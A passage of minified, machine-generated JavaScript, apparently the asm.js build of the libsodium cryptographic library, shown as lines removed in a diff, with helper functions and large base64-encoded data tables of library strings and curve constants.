0, Zt2(l5 = g5 + 32 | 0, c5, h5), ne2(u5 = g5 + 96 | 0, l5), oe2(l5, 64), $t2(u5, i4, o5, s5), a4[g5 + 24 >> 2] = o5, a4[g5 + 28 >> 2] = s5, $t2(u5, i4 = g5 + 24 | 0, 8, 0), $t2(u5, e6, r11, n9), a4[g5 + 24 >> 2] = r11, a4[g5 + 28 >> 2] = n9, $t2(u5, i4, 8, 0), Ae2(u5, g5), oe2(u5, 256), i4 = nt2(g5, A8), oe2(g5, 16), t7 && (i4 ? (xt2(t7, 0, r11), i4 = -1) : (Ht2(t7, e6, r11, n9, c5, h5), i4 = 0)), I4 = g5 + 352 | 0, i4; - } - function yt2(t7, e6, r11, n9, A8, i4, o5, s5, c5, h5, g5) { - var u5, l5, f5; - return I4 = u5 = I4 - 336 | 0, Zt2(f5 = u5 + 16 | 0, h5, g5), ne2(l5 = u5 + 80 | 0, f5), oe2(f5, 64), $t2(l5, o5, s5, c5), a4[u5 + 8 >> 2] = s5, a4[u5 + 12 >> 2] = c5, $t2(l5, o5 = u5 + 8 | 0, 8, 0), Ht2(t7, n9, A8, i4, h5, g5), $t2(l5, t7, A8, i4), a4[u5 + 8 >> 2] = A8, a4[u5 + 12 >> 2] = i4, $t2(l5, o5, 8, 0), Ae2(l5, e6), oe2(l5, 256), r11 && (a4[r11 >> 2] = 16, a4[r11 + 4 >> 2] = 0), I4 = u5 + 336 | 0, 0; - } - function Ct2(t7, e6) { - var r11; - for (a4[12 + (r11 = I4 - 16 | 0) >> 2] = t7, a4[r11 + 8 >> 2] = e6, t7 = 0, a4[r11 + 4 >> 2] = 0; a4[r11 + 4 >> 2] = a4[r11 + 4 >> 2] | c4[a4[r11 + 12 >> 2] + t7 | 0] ^ c4[a4[r11 + 8 >> 2] + t7 | 0], e6 = 1 | t7, a4[r11 + 4 >> 2] = a4[r11 + 4 >> 2] | c4[e6 + a4[r11 + 12 >> 2] | 0] ^ c4[e6 + a4[r11 + 8 >> 2] | 0], 32 != (0 | (t7 = t7 + 2 | 0)); ) - ; - return (a4[r11 + 4 >> 2] - 1 >>> 8 & 1) - 1 | 0; - } - function mt2(t7) { - var e6 = 0, r11 = 0, n9 = 0, A8 = 0; - for (e6 = 1; e6 = c4[0 | (r11 = t7 + n9 | 0)] + e6 | 0, s4[0 | r11] = e6, e6 = c4[0 | (r11 = (1 | n9) + t7 | 0)] + (e6 >>> 8 | 0) | 0, s4[0 | r11] = e6, e6 = c4[0 | (r11 = (2 | n9) + t7 | 0)] + (e6 >>> 8 | 0) | 0, s4[0 | r11] = e6, e6 = c4[0 | (r11 = (3 | n9) + t7 | 0)] + (e6 >>> 8 | 0) | 0, s4[0 | r11] = e6, e6 = e6 >>> 8 | 0, n9 = n9 + 4 | 0, 4 != (0 | (A8 = A8 + 4 | 0)); ) - ; - } - function Bt2(t7, e6, r11, n9) { - var A8, i4, o5, s5, a5 = 0, c5 = 0; - return s5 = g4(a5 = r11 >>> 16 | 0, c5 = t7 >>> 16 | 0), a5 = (65535 & (c5 = ((o5 = g4(A8 = 65535 & r11, i4 = 65535 & t7)) >>> 16 | 0) + g4(c5, A8) | 0)) + g4(a5, i4) | 0, y4 = (g4(e6, r11) + s5 | 0) + g4(t7, n9) + (c5 >>> 16) + (a5 >>> 16) | 0, 65535 & o5 | a5 << 16; - } - function Et2(t7, e6, r11, n9, A8, o5, s5) { - var c5 = 0, h5 = 0; - c5 = n9, 1 == (((c5 = (h5 = r11 + 63 | 0) >>> 0 < 63 ? c5 + 1 | 0 : c5) >>> 6 | 0) + !!(0 | (c5 = (63 & c5) << 26 | h5 >>> 6)) | 0) & o5 >>> 0 > (h5 = 0 - c5 | 0) >>> 0 | 1 == (0 | n9) | n9 >>> 0 > 1 ? (Kt2(), i3()) : Ie2[a4[8813]](t7, e6, r11, n9, A8, o5, s5); - } - function wt2(t7) { - var e6 = 0; - a4[t7 + 32 >> 2] = 0, a4[t7 + 36 >> 2] = 0, e6 = a4[8485], a4[t7 >> 2] = a4[8484], a4[t7 + 4 >> 2] = e6, e6 = a4[8487], a4[t7 + 8 >> 2] = a4[8486], a4[t7 + 12 >> 2] = e6, e6 = a4[8489], a4[t7 + 16 >> 2] = a4[8488], a4[t7 + 20 >> 2] = e6, e6 = a4[8491], a4[t7 + 24 >> 2] = a4[8490], a4[t7 + 28 >> 2] = e6; - } - function vt2(t7, e6) { - t7 |= 0; - var r11, n9 = 0, A8 = 0, i4 = 0; - if (I4 = r11 = I4 - 16 | 0, e6 |= 0) - for (; s4[r11 + 15 | 0] = 0, A8 = t7 + n9 | 0, i4 = 0 | l4(35256, r11 + 15 | 0, 0), s4[0 | A8] = i4, (0 | (n9 = n9 + 1 | 0)) != (0 | e6); ) - ; - I4 = r11 + 16 | 0; - } - function _t2(t7, e6, r11, n9, A8, i4, o5) { - var s5, a5, c5 = 0; - return I4 = s5 = I4 - 32 | 0, c5 = -1, (a5 = r11 >>> 0 < 16) & !n9 || Nt2(s5, i4, o5) || (c5 = it2(t7, e6 + 16 | 0, e6, r11 - 16 | 0, n9 - a5 | 0, A8, s5), oe2(s5, 32)), I4 = s5 + 32 | 0, c5; - } - function Qt2(t7) { - var e6, r11; - return (t7 = (e6 = a4[8800]) + (r11 = t7 + 7 & -8) | 0) >>> 0 <= e6 >>> 0 && r11 || t7 >>> 0 > ye2() << 16 >>> 0 && !(0 | d4(0 | t7)) ? (a4[9005] = 48, -1) : (a4[8800] = t7, e6); - } - function bt2(t7, e6) { - var r11, n9, A8; - I4 = r11 = I4 - 176 | 0, X2(n9 = r11 + 96 | 0, e6 + 80 | 0), v4(A8 = r11 + 48 | 0, e6, n9), v4(r11, e6 + 40 | 0, n9), et2(t7, r11), et2(r11 + 144 | 0, A8), s4[t7 + 31 | 0] = c4[t7 + 31 | 0] ^ c4[r11 + 144 | 0] << 7, I4 = r11 + 176 | 0; - } - function kt2(t7, e6, r11) { - var n9 = 0; - if (t7 >>> 0 < e6 >>> 0) - return Mt2(t7, e6, r11); - if (r11) - for (n9 = t7 + r11 | 0, e6 = e6 + r11 | 0; e6 = e6 - 1 | 0, s4[0 | (n9 = n9 - 1 | 0)] = c4[0 | e6], r11 = r11 - 1 | 0; ) - ; - return t7; - } - function Dt2(t7, e6, r11, n9, A8, o5, s5) { - var a5, c5 = 0; - if (I4 = a5 = I4 - 32 | 0, !n9 & r11 >>> 0 < 4294967280) - return c5 = -1, Nt2(a5, o5, s5) || (c5 = ot2(t7 + 16 | 0, t7, e6, r11, n9, A8, a5), oe2(a5, 32)), I4 = a5 + 32 | 0, c5; - Kt2(), i3(); - } - function St2(t7, e6, r11, n9, A8, i4) { - return e6 |= 0, 0 | (!(n9 |= 0) & (r11 |= 0) >>> 0 >= 16 | n9 ? it2(t7 |= 0, e6 + 16 | 0, e6, r11 - 16 | 0, n9 - (r11 >>> 0 < 16) | 0, A8 |= 0, i4 |= 0) : -1); - } - function Nt2(t7, e6, r11) { - t7 |= 0; - var n9, A8 = 0; - return I4 = n9 = I4 - 32 | 0, A8 = -1, tt2(n9, r11 |= 0, e6 |= 0) || (A8 = O4(t7, 35184, n9)), I4 = n9 + 32 | 0, 0 | A8; - } - function Mt2(t7, e6, r11) { - var n9 = 0; - if (r11) - for (n9 = t7; s4[0 | n9] = c4[0 | e6], n9 = n9 + 1 | 0, e6 = e6 + 1 | 0, r11 = r11 - 1 | 0; ) - ; - return t7; - } - function xt2(t7, e6, r11) { - var n9 = 0; - if (r11) - for (n9 = t7; s4[0 | n9] = e6, n9 = n9 + 1 | 0, r11 = r11 - 1 | 0; ) - ; - return t7; - } - function Ft2(t7, e6, r11) { - return t7 |= 0, e6 |= 0, (r11 |= 0) >>> 0 >= 256 && (f4(1260, 1187, 107, 1067), i3()), 0 | S4(t7, e6, 255 & r11); - } - function Pt2(t7, e6) { - var r11; - I4 = r11 = I4 + -64 | 0, D4(t7, r11), G4(t7 = t7 + 208 | 0, r11, 64, 0), D4(t7, e6), oe2(r11, 64), I4 = r11 - -64 | 0; - } - function Tt2(t7, e6, r11, n9, A8, i4, o5) { - return 0 | ot2(t7 |= 0, e6 |= 0, r11 |= 0, n9 |= 0, A8 |= 0, i4 |= 0, o5 |= 0); - } - function Rt2(t7, e6, r11, n9, A8, i4, o5) { - return 0 | it2(t7 |= 0, e6 |= 0, r11 |= 0, n9 |= 0, A8 |= 0, i4 |= 0, o5 |= 0); - } - function Ut2(t7, e6) { - var r11; - I4 = r11 = I4 - 32 | 0, Y4(t7, r11), K4(t7 = t7 + 104 | 0, r11, 32), Y4(t7, e6), oe2(r11, 32), I4 = r11 + 32 | 0; - } - function Gt2(t7, e6) { - var r11 = 0; - return (-1 >>> (r11 = 31 & e6) & t7) << r11 | ((r11 = t7) & -1 << (t7 = 0 - e6 & 31)) >>> t7; - } - function Ht2(t7, e6, r11, n9, A8, o5) { - 1 == (0 | n9) | n9 >>> 0 > 1 && (Kt2(), i3()), Ie2[a4[8812]](t7, e6, r11, n9, A8, 1, 0, o5); - } - function Lt2(t7, e6, r11, n9, A8, o5) { - 1 == (0 | n9) | n9 >>> 0 > 1 && (Kt2(), i3()), Ie2[a4[8813]](t7, e6, r11, n9, A8, 1, o5); - } - function Ot2() { - var t7; - I4 = t7 = I4 - 16 | 0, s4[t7 + 15 | 0] = 0, l4(35292, t7 + 15 | 0, 0), I4 = t7 + 16 | 0; - } - function Yt2(t7, e6, r11) { - return 0 | tt2(t7 |= 0, e6 |= 0, r11 |= 0); - } - function Kt2() { - var t7; - (t7 = a4[9137]) && Ie2[0 | t7](), p4(), i3(); - } - function Jt2(t7, e6, r11, n9, A8, i4) { - Ie2[a4[8809]](t7, e6, r11, n9, A8, 0, 0, i4); - } - function jt2(t7, e6) { - return t7 |= 0, vt2(e6 |= 0, 32), 0 | ee2(t7, e6); - } - function zt2(t7, e6, r11, n9, A8, i4) { - Ie2[a4[8809]](t7, e6, r11, n9, A8, 1, 0, i4); - } - function qt2(t7) { - return t7 ? 31 - u4(t7 - 1 ^ t7) | 0 : 32; - } - function Xt2(t7, e6, r11, n9) { - Ie2[a4[8813]](t7, e6, 40, 0, r11, 0, n9); - } - function Vt2(t7, e6) { - return 0 | ee2(t7 |= 0, e6 |= 0); - } - function Wt2(t7, e6, r11, n9) { - Ie2[a4[8811]](t7, e6, 0, r11, n9); - } - function Zt2(t7, e6, r11) { - Ie2[a4[8810]](t7, 64, 0, e6, r11); - } - function $t2(t7, e6, r11, n9) { - Ie2[a4[8804]](t7, e6, r11, n9); - } - function te2(t7, e6, r11, n9) { - return G4(t7, e6, r11, n9), 0; - } - function ee2(t7, e6) { - return 0 | Ie2[a4[8807]](t7, e6); - } - function re2(t7, e6, r11) { - return K4(t7, e6, r11), 0; - } - function ne2(t7, e6) { - Ie2[a4[8803]](t7, e6); - } - function Ae2(t7, e6) { - Ie2[a4[8805]](t7, e6); - } - function ie2(t7) { - vt2(t7 |= 0, 32); - } - function oe2(t7, e6) { - xt2(t7, 0, e6); - } - function se2() { - return 208; - } - function ae2() { - return 16; - } - function ce2() { - return 32; - } - function he2() { - return 24; - } - function ge2() { - return -17; - } - function ue2() { - return 64; - } - function le2() { - return 1; - } - function fe2() { - return 8; - } - function pe2() { - return 0; - } - A7(e5 = c4, 1024, "TGlic29kaXVtRFJHcmFuZG9tYnl0ZXMAYjY0X3BvcyA8PSBiNjRfbGVuAGNyeXB0b19nZW5lcmljaGFzaF9ibGFrZTJiX2ZpbmFsAHJhbmRvbWJ5dGVzL3JhbmRvbWJ5dGVzLmMAc29kaXVtL2NvZGVjcy5jAGNyeXB0b19nZW5lcmljaGFzaC9ibGFrZTJiL3JlZi9ibGFrZTJiLXJlZi5jAGNyeXB0b19nZW5lcmljaGFzaC9ibGFrZTJiL3JlZi9nZW5lcmljaGFzaF9ibGFrZTJiLmMAYnVmX2xlbiA8PSBTSVpFX01BWABvdXRsZW4gPD0gVUlOVDhfTUFYAFMtPmJ1ZmxlbiA8PSBCTEFLRTJCX0JMT0NLQllURVMAMS4wLjE5AHNvZGl1bV9iaW4yYmFzZTY0AAAAAAAAAAC2eFn/hXLTAL1uFf8PCmoAKcABAJjoef+8PKD/mXHO/wC34v60DUj/AAAAAAAAAACwoA7+08mG/54YjwB/aTUAYAy9AKfX+/+fTID+amXh/x78BACSDK4="), A7(e5, 1440, "WfGy/grlpv973Sr+HhTUAFKAAwAw0fMAd3lA/zLjnP8AbsUBZxuQ"), A7(e5, 1488, "hTuMAb3xJP/4JcMBYNw3ALdMPv/DQj0AMkykAeGkTP9MPaP/dT4fAFGRQP92QQ4AonPW/waKLgB85vT/CoqPADQawgC49EwAgY8pAb70E/97qnr/YoFEAHnVkwBWZR7/oWebAIxZQ//v5b4BQwu1AMbwif7uRbz/Q5fuABMqbP/lVXEBMkSH/xFqCQAyZwH/UAGoASOYHv8QqLkBOFno/2XS/AAp+kcAzKpP/w4u7/9QTe8AvdZL/xGN+QAmUEz/vlV1AFbkqgCc2NABw8+k/5ZCTP+v4RD/jVBiAUzb8gDGonIALtqYAJsr8f6boGj/M7ulAAIRrwBCVKAB9zoeACNBNf5F7L8ALYb1AaN73QAgbhT/NBelALrWRwDpsGAA8u82ATlZigBTAFT/iKBkAFyOeP5ofL4AtbE+//opVQCYgioBYPz2AJeXP/7vhT4AIDicAC2nvf+OhbMBg1bTALuzlv76qg7/0qNOACU0lwBjTRoA7pzV/9XA0QFJLlQAFEEpATbOTwDJg5L+qm8Y/7EhMv6rJsv/Tvd0ANHdmQCFgLIBOiwZAMknOwG9E/wAMeXSAXW7dQC1s7gBAHLbADBekwD1KTgAfQ3M/vStdwAs3SD+VOoUAPmgxgHsfur/L2Oo/qrimf9ms9gA4o16/3pCmf629YYA4+QZAdY56//YrTj/tefSAHeAnf+BX4j/bn4zAAKpt/8HgmL+RbBe/3QE4wHZ8pH/yq0fAWkBJ/8ur0UA5C86/9fgRf7POEX/EP6L/xfP1P/KFH7/X9Vg/wmwIQDIBc//8SqA/iMhwP/45cQBgRF4APtnl/8HNHD/jDhC/yji9f/ZRiX+rNYJ/0hDhgGSwNb/LCZwAES4S//OWvsAleuNALWqOgB09O8AXJ0CAGatYgDpiWABfzHLAAWblAAXlAn/03oMACKGGv/bzIgAhggp/+BTK/5VGfcAbX8A/qmIMADud9v/563VAM4S/v4Iugf/fgkHAW8qSABvNOz+YD+NAJO/f/7NTsD/DmrtAbvbTACv87v+aVmtAFUZWQGi85QAAnbR/iGeCQCLoy7/XUYoAGwqjv5v/I7/m9+QADPlp/9J/Jv/XnQM/5ig2v+c7iX/s+rP/8UAs/+apI0A4cRoAAojGf7R1PL/Yf3e/rhl5QDeEn8BpIiH/x7PjP6SYfMAgcAa/slUIf9vCk7/k1Gy/wQEGACh7tf/Bo0hADXXDv8ptdD/54udALPL3f//uXEAveKs/3FC1v/KPi3/ZkAI/06uEP6FdUT/"), A7(e5, 2480, "AQ=="), A7(e5, 2512, "JuiVj8KyJ7BFw/SJ8u+Y8NXfrAXTxjM5sTgCiG1T/AXHF2pwPU3YT7o8C3YNEGcPKiBT+iw5zMZOx/13kqwDeuz///////////////////////////////////////9/7f///////////////////////////////////////3/u////////////////////////////////////////f+3T9VwaYxJY1pz3ot753hQ="), A7(e5, 2703, "EIU7jAG98ST/+CXDAWDcNwC3TD7/w0I9ADJMpAHhpEz/TD2j/3U+HwBRkUD/dkEOAKJz1v8Gii4AfOb0/wqKjwA0GsIAuPRMAIGPKQG+9BP/e6p6/2KBRAB51ZMAVmUe/6FnmwCMWUP/7+W+AUMLtQDG8In+7kW8/+pxPP8l/zn/RbK2/oDQswB2Gn3+AwfW//EyTf9Vy8X/04f6/xkwZP+71bT+EVhpAFPRngEFc2IABK48/qs3bv/ZtRH/FLyqAJKcZv5X1q7/cnqbAeksqgB/CO8B1uzqAK8F2wAxaj3/BkLQ/wJqbv9R6hP/12vA/0OX7gATKmz/5VVxATJEh/8RagkAMmcB/1ABqAEjmB7/EKi5AThZ6P9l0vwAKfpHAMyqT/8OLu//UE3vAL3WS/8RjfkAJlBM/75VdQBW5KoAnNjQAcPPpP+WQkz/r+EQ/41QYgFM2/IAxqJyAC7amACbK/H+m6Bo/7IJ/P5kbtQADgWnAOnvo/8cl50BZZIK//6eRv5H+eQAWB4yAEQ6oP+/GGgBgUKB/8AyVf8Is4r/JvrJAHNQoACD5nEAfViTAFpExwD9TJ4AHP92AHH6/gBCSy4A5torAOV4ugGURCsAiHzuAbtrxf9UNfb/M3T+/zO7pQACEa8AQlSgAfc6HgAjQTX+Rey/AC2G9QGje90AIG4U/zQXpQC61kcA6bBgAPLvNgE5WYoAUwBU/4igZABcjnj+aHy+ALWxPv/6KVUAmIIqAWD89gCXlz/+74U+ACA4nAAtp73/joWzAYNW0wC7s5b++qoO/0RxFf/eujv/QgfxAUUGSABWnGz+N6dZAG002/4NsBf/xCxq/++VR/+kjH3/n60BADMp5wCRPiEAim9dAblTRQCQcy4AYZcQ/xjkGgAx2eIAcUvq/sGZDP+2MGD/Dg0aAIDD+f5FwTsAhCVR/n1qPADW8KkBpONCANKjTgAlNJcAY00aAO6c1f/VwNEBSS5UABRBKQE2zk8AyYOS/qpvGP+xITL+qybL/073dADR3ZkAhYCyATosGQDJJzsBvRP8ADHl0gF1u3UAtbO4AQBy2wAwXpMA9Sk4AH0NzP70rXcALN0g/lTqFAD5oMYB7H7q/48+3QCBWdb/N4sF/kQUv/8OzLIBI8PZAC8zzgEm9qUAzhsG/p5XJADZNJL/fXvX/1U8H/+rDQcA2vVY/vwjPAA31qD/hWU4AOAgE/6TQOoAGpGiAXJ2fQD4/PoAZV7E/8aN4v4zKrYAhwwJ/m2s0v/F7MIB8UGaADCcL/+ZQzf/2qUi/kq0swDaQkcBWHpjANS12/9cKuf/7wCaAPVNt/9eUaoBEtXYAKtdRwA0XvgAEpeh/sXRQv+u9A/+ojC3ADE98P62XcMAx+QGAcgFEf+JLe3/bJQEAFpP7f8nP03/NVLPAY4Wdv9l6BIBXBpDAAXIWP8hqIr/leFIAALRG/8s9agB3O0R/x7Taf6N7t0AgFD1/m/+DgDeX74B3wnxAJJM1P9szWj/P3WZAJBFMAAj5G8AwCHB/3DWvv5zmJcAF2ZYADNK+ADix4/+zKJl/9BhvQH1aBIA5vYe/xeURQBuWDT+4rVZ/9AvWv5yoVD/IXT4ALOYV/9FkLEBWO4a/zogcQEBTUUAO3k0/5juUwA0CMEA5yfp/8ciigDeRK0AWzny/tzSf//AB/b+lyO7AMPspQBvXc4A1PeFAZqF0f+b5woAQE4mAHr5ZAEeE2H/Plv5AfiFTQDFP6j+dApSALjscf7Uy8L/PWT8/iQFyv93W5n/gU8dAGdnq/7t12//2DVFAO/wFwDCld3/JuHeAOj/tP52UoX/OdGxAYvohQCesC7+wnMuAFj35QEcZ78A3d6v/pXrLACX5Bn+2mlnAI5V0gCVgb7/1UFe/nWG4P9SxnUAnd3cAKNlJADFciUAaKym/gu2AABRSLz/YbwQ/0UGCgDHk5H/CAlzAUHWr//ZrdEAUH+mAPflBP6nt3z/WhzM/q878P8LKfgBbCgz/5Cxw/6W+n4AiltBAXg83v/1we8AHda9/4ACGQBQmqIATdxrAerNSv82pmf/dEgJAOReL/8eyBn/I9ZZ/z2wjP9T4qP/S4KsAIAmEQBfiZj/13yfAU9dAACUUp3+w4L7/yjKTP/7fuAAnWM+/s8H4f9gRMMAjLqd/4MT5/8qgP4ANNs9/mbLSACNBwv/uqTVAB96dwCF8pEA0Pzo/1vVtv+PBPr++ddKAKUebwGrCd8A5XsiAVyCGv9Nmy0Bw4sc/zvgTgCIEfcAbHkgAE/6vf9g4/z+JvE+AD6uff+bb13/CubOAWHFKP8AMTn+QfoNABL7lv/cbdL/Ba6m/iyBvQDrI5P/JfeN/0iNBP9na/8A91oEADUsKgACHvAABDs/AFhOJABxp7QAvkfB/8eepP86CKwATSEMAEE/AwCZTSH/rP5mAeTdBP9XHv4BkilW/4rM7/5sjRH/u/KHANLQfwBELQ7+SWA+AFE8GP+qBiT/A/kaACPVbQAWgTb/FSPh/+o9OP862QYAj3xYAOx+QgDRJrf/Iu4G/66RZgBfFtMAxA+Z/i5U6P91IpIB5/pK/xuGZAFcu8P/qsZwAHgcKgDRRkMAHVEfAB2oZAGpraAAayN1AD5gO/9RDEUBh+++/9z8EgCj3Dr/iYm8/1NmbQBgBkwA6t7S/7muzQE8ntX/DfHWAKyBjABdaPIAwJz7ACt1HgDhUZ4Af+jaAOIcywDpG5f/dSsF//IOL/8hFAYAifss/hsf9f+31n3+KHmVALqe1f9ZCOMARVgA/suH4QDJrssAk0e4ABJ5Kf5eBU4A4Nbw/iQFtAD7h+cBo4rUANL5dP5YgbsAEwgx/j4OkP+fTNMA1jNSAG115P5n38v/S/wPAZpH3P8XDVsBjahg/7W2hQD6MzcA6urU/q8/ngAn8DQBnr0k/9UoVQEgtPf/E2YaAVQYYf9FFd4AlIt6/9zV6wHoy/8AeTmTAOMHmgA1FpMBSAHhAFKGMP5TPJ3/kUipACJn7wDG6S8AdBME/7hqCf+3gVMAJLDmASJnSADbooYA9SqeACCVYP6lLJAAyu9I/teWBQAqQiQBhNevAFauVv8axZz/MeiH/me2UgD9gLABmbJ6APX6CgDsGLIAiWqEACgdKQAyHpj/fGkmAOa/SwCPK6oALIMU/ywNF//t/5sBn21k/3C1GP9o3GwAN9ODAGMM1f+Yl5H/7gWfAGGbCAAhbFEAAQNnAD5tIv/6m7QAIEfD/yZGkQGfX/UAReVlAYgc8ABP4BkATm55//iofAC7gPcAApPr/k8LhABGOgwBtQij/0+Jhf8lqgv/jfNV/7Dn1//MlqT/79cn/y5XnP4Io1j/rCLoAEIsZv8bNin+7GNX/yl7qQE0cisAdYYoAJuGGgDnz1v+I4Qm/xNmff4k44X/dgNx/x0NfACYYEoBWJLO/6e/3P6iElj/tmQXAB91NABRLmoBDAIHAEVQyQHR9qwADDCNAeDTWAB04p8AemKCAEHs6gHh4gn/z+J7AVnWOwBwh1gBWvTL/zELJgGBbLoAWXAPAWUuzP9/zC3+T//d/zNJEv9/KmX/8RXKAKDjBwBpMuwATzTF/2jK0AG0DxAAZcVO/2JNywApufEBI8F8ACObF//PNcAAC32jAfmeuf8EgzAAFV1v/z155wFFyCT/uTC5/2/uFf8nMhn/Y9ej/1fUHv+kkwX/gAYjAWzfbv/CTLIASmW0APMvMACuGSv/Uq39ATZywP8oN1sA12yw/ws4BwDg6UwA0WLK/vIZfQAswV3+ywixAIewEwBwR9X/zjuwAQRDGgAOj9X+KjfQ/zxDeADBFaMAY6RzAAoUdgCc1N7+oAfZ/3L1TAF1O3sAsMJW/tUPsABOzs/+1YE7AOn7FgFgN5j/7P8P/8VZVP9dlYUArqBxAOpjqf+YdFgAkKRT/18dxv8iLw//Y3iG/wXswQD5937/k7seADLmdf9s2dv/o1Gm/0gZqf6beU//HJtZ/gd+EQCTQSEBL+r9ABozEgBpU8f/o8TmAHH4pADi/toAvdHL/6T33v7/I6UABLzzAX+zRwAl7f7/ZLrwAAU5R/5nSEn/9BJR/uXShP/uBrT/C+Wu/+PdwAERMRwAo9fE/gl2BP8z8EcAcYFt/0zw5wC8sX8AfUcsARqv8wBeqRn+G+YdAA+LdwGoqrr/rMVM//xLvACJfMQASBZg/y2X+QHckWQAQMCf/3jv4gCBspIAAMB9AOuK6gC3nZIAU8fA/7isSP9J4YAATQb6/7pBQwBo9s8AvCCK/9oY8gBDilH+7YF5/xTPlgEpxxD/BhSAAJ92BQC1EI//3CYPABdAk/5JGg0AV+Q5Acx8gAArGN8A22PHABZLFP8TG34AnT7XAG4d5gCzp/8BNvy+AN3Mtv6znkH/UZ0DAMLanwCq3wAA4Asg/ybFYgCopCUAF1gHAaS6bgBgJIYA6vLlAPp5EwDy/nD/Ay9eAQnvBv9Rhpn+1v2o/0N84AD1X0oAHB4s/gFt3P+yWVkA/CRMABjGLv9MTW8AhuqI/ydeHQC5SOr/RkSH/+dmB/5N54wApy86AZRhdv8QG+EBps6P/26y1v+0g6IAj43hAQ3aTv9ymSEBYmjMAK9ydQGnzksAysRTATpAQwCKL28BxPeA/4ng4P6ecM8AmmT/AYYlawDGgE//f9Gb/6P+uf48DvMAH9tw/h3ZQQDIDXT+ezzE/+A7uP7yWcQAexBL/pUQzgBF/jAB53Tf/9GgQQHIUGIAJcK4/pQ/IgCL8EH/2ZCE/zgmLf7HeNIAbLGm/6DeBADcfnf+pWug/1Lc+AHxr4gAkI0X/6mKVACgiU7/4nZQ/zQbhP8/YIv/mPonALybDwDoM5b+KA/o//DlCf+Jrxv/S0lhAdrUCwCHBaIBa7nVAAL5a/8o8kYA28gZABmdDQBDUlD/xPkX/5EUlQAySJIAXkyUARj7QQAfwBcAuNTJ/3vpogH3rUgAolfb/n6GWQCfCwz+pmkdAEkb5AFxeLf/QqNtAdSPC/+f56gB/4BaADkOOv5ZNAr//QijAQCR0v8KgVUBLrUbAGeIoP5+vNH/IiNvANfbGP/UC9b+ZQV2AOjFhf/fp23/7VBW/0aLXgCewb8Bmw8z/w++cwBOh8//+QobAbV96QBfrA3+qtWh/yfsiv9fXVf/voBfAH0PzgCmlp8A4w+e/86eeP8qjYAAZbJ4AZxtgwDaDiz+96jO/9RwHABwEeT/WhAlAcXebAD+z1P/CVrz//P0rAAaWHP/zXR6AL/mwQC0ZAsB2SVg/5pOnADr6h//zrKy/5XA+wC2+ocA9hZpAHzBbf8C0pX/qRGqAABgbv91CQgBMnso/8G9YwAi46AAMFBG/tMz7AAtevX+LK4IAK0l6f+eQasAekXX/1pQAv+DamD+43KHAM0xd/6wPkD/UjMR//EU8/+CDQj+gNnz/6IbAf5advEA9sb2/zcQdv/In50AoxEBAIxreQBVoXb/JgCVAJwv7gAJpqYBS2K1/zJKGQBCDy8Ai+GfAEwDjv8O7rgAC881/7fAugGrIK7/v0zdAfeq2wAZrDL+2QnpAMt+RP+3XDAAf6e3AUEx/gAQP38B/hWq/zvgf/4WMD//G06C/ijDHQD6hHD+I8uQAGipqADP/R7/aCgm/l7kWADOEID/1Dd6/98W6gDfxX8A/bW1AZFmdgDsmST/1NlI/xQmGP6KPj4AmIwEAObcY/8BFdT/lMnnAPR7Cf4Aq9IAMzol/wH/Dv/0t5H+APKmABZKhAB52CkAX8Ny/oUYl/+c4uf/9wVN//aUc/7hXFH/3lD2/qp7Wf9Kx40AHRQI/4qIRv9dS1wA3ZMx/jR+4gDlfBcALgm1AM1ANAGD/hwAl57UAINATgDOGasAAOaLAL/9bv5n96cAQCgoASql8f87S+T+fPO9/8Rcsv+CjFb/jVk4AZPGBf/L+J7+kKKNAAus4gCCKhX/AaeP/5AkJP8wWKT+qKrcAGJH1gBb0E8An0zJAaYq1v9F/wD/BoB9/74BjACSU9r/1+5IAXp/NQC9dKX/VAhC/9YD0P/VboUAw6gsAZ7nRQCiQMj+WzpoALY6u/755IgAy4ZM/mPd6QBL/tb+UEWaAECY+P7siMr/nWmZ/pWvFAAWIxP/fHnpALr6xv6E5YsAiVCu/6V9RACQypT+6+/4AIe4dgBlXhH/ekhG/kWCkgB/3vgBRX92/x5S1/68ShP/5afC/nUZQv9B6jj+1RacAJc7Xf4tHBv/un6k/yAG7wB/cmMB2zQC/2Ngpv4+vn7/bN6oAUvirgDm4scAPHXa//z4FAHWvMwAH8KG/ntFwP+prST+N2JbAN8qZv6JAWYAnVoZAO96QP/8BukABzYU/1J0rgCHJTb/D7p9AONwr/9ktOH/Ku30//St4v74EiEAq2OW/0rrMv91UiD+aqjtAM9t0AHkCboAhzyp/rNcjwD0qmj/6y18/0ZjugB1ibcA4B/XACgJZAAaEF8BRNlXAAiXFP8aZDr/sKXLATR2RgAHIP7+9P71/6eQwv99cRf/sHm1AIhU0QCKBh7/WTAcACGbDv8Z8JoAjc1tAUZzPv8UKGv+iprH/17f4v+dqyYAo7EZ/i12A/8O3hcB0b5R/3Z76AEN1WX/ezd7/hv2pQAyY0z/jNYg/2FBQ/8YDBwArlZOAUD3YACgh0MAQjfz/5PMYP8aBiH/YjNTAZnV0P8CuDb/GdoLADFD9v4SlUj/DRlIACpP1gAqBCYBG4uQ/5W7FwASpIQA9VS4/njGaP9+2mAAOHXq/w0d1v5ELwr/p5qE/pgmxgBCsln/yC6r/w1jU//Su/3/qi0qAYrRfADWoo0ADOacAGYkcP4Dk0MANNd7/+mrNv9iiT4A99on/+fa7AD3v38Aw5JUAKWwXP8T1F7/EUrjAFgomQHGkwH/zkP1/vAD2v89jdX/YbdqAMPo6/5fVpoA0TDN/nbR8f/weN8B1R2fAKN/k/8N2l0AVRhE/kYUUP+9BYwBUmH+/2Njv/+EVIX/a9p0/3B6LgBpESAAwqA//0TeJwHY/VwAsWnN/5XJwwAq4Qv/KKJzAAkHUQCl2tsAtBYA/h2S/P+Sz+EBtIdgAB+jcACxC9v/hQzB/itOMgBBcXkBO9kG/25eGAFwrG8ABw9gACRVewBHlhX/0Em8AMALpwHV9SIACeZcAKKOJ//XWhsAYmFZAF5P0wBanfAAX9x+AWaw4gAkHuD+Ix9/AOfocwFVU4IA0kn1/y+Pcv9EQcUAO0g+/7eFrf5deXb/O7FR/+pFrf/NgLEA3PQzABr00QFJ3k3/owhg/paV0wCe/ssBNn+LAKHgOwAEbRb/3iot/9CSZv/sjrsAMs31/wpKWf4wT44A3kyC/x6mPwDsDA3/Mbj0ALtxZgDaZf0AmTm2/iCWKgAZxpIB7fE4AIxEBQBbpKz/TpG6/kM0zQDbz4EBbXMRADaPOgEV+Hj/s/8eAMHsQv8B/wf//cAw/xNF2QED1gD/QGWSAd99I//rSbP/+afiAOGvCgFhojoAanCrAVSsBf+FjLL/hvWOAGFaff+6y7n/300X/8BcagAPxnP/2Zj4AKuyeP/khjUAsDbBAfr7NQDVCm